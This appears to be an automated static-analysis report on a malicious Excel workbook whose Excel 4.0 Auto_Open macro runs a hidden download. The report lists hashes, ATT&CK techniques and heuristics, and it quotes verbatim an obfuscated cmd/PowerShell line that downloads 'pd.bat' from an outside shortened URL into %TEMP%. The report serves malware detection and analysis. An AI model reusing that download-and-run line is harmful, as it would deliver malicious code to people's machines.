Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 ea7cb56ab6ffb6e5…

MALICIOUS

Office (OLE) / .XLS

229.0 KB Created: 2020-09-20 21:17:44
MD5: 98606f78ee642745d9f75c7309ef6292 SHA-1: 211284eabef7f9855e10853cda1a336015734d3d SHA-256: ea7cb56ab6ffb6e5f85d1507ed034719d59f3517e02a3eb358b9e994b43f340c
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The critical heuristics OLE_XLM_AUTOOPEN and OLE_XLM_DANGEROUS_FN indicate the presence of an Excel 4.0 macro sheet with an Auto_Open entry that executes dangerous functions. The extracted XLM macro script confirms this, showing multiple EXEC calls. One EXEC call reconstructs the PowerShell command 'c' & CHAR(109) & 'd /c ' & CHAR(112) & 'o^wer^she^l^l -w 1 (nEw-oB`jecT Ne' & CHAR(116) & CHAR(46) & CHAR(87) & CHAR(101) & 'bcLIENt).(\'Down\'+\'loadFile\').In' & CHAR(118) & 'oke(\'https://cutt.ly/Ujr1f6G\',\'pd' & CHAR(46) & 'bat\')' which downloads a file named 'pd.bat' from 'https://cutt.ly/Ujr1f6G' into the %TEMP% directory. Subsequent EXEC calls attempt to hide, execute, and then clean up the downloaded 'pd.bat' file.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
5f5e8169c94a0147972b8103b0770bed1a1b6ef8e62bbd76a2b15981a095b6f1
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1436 bytes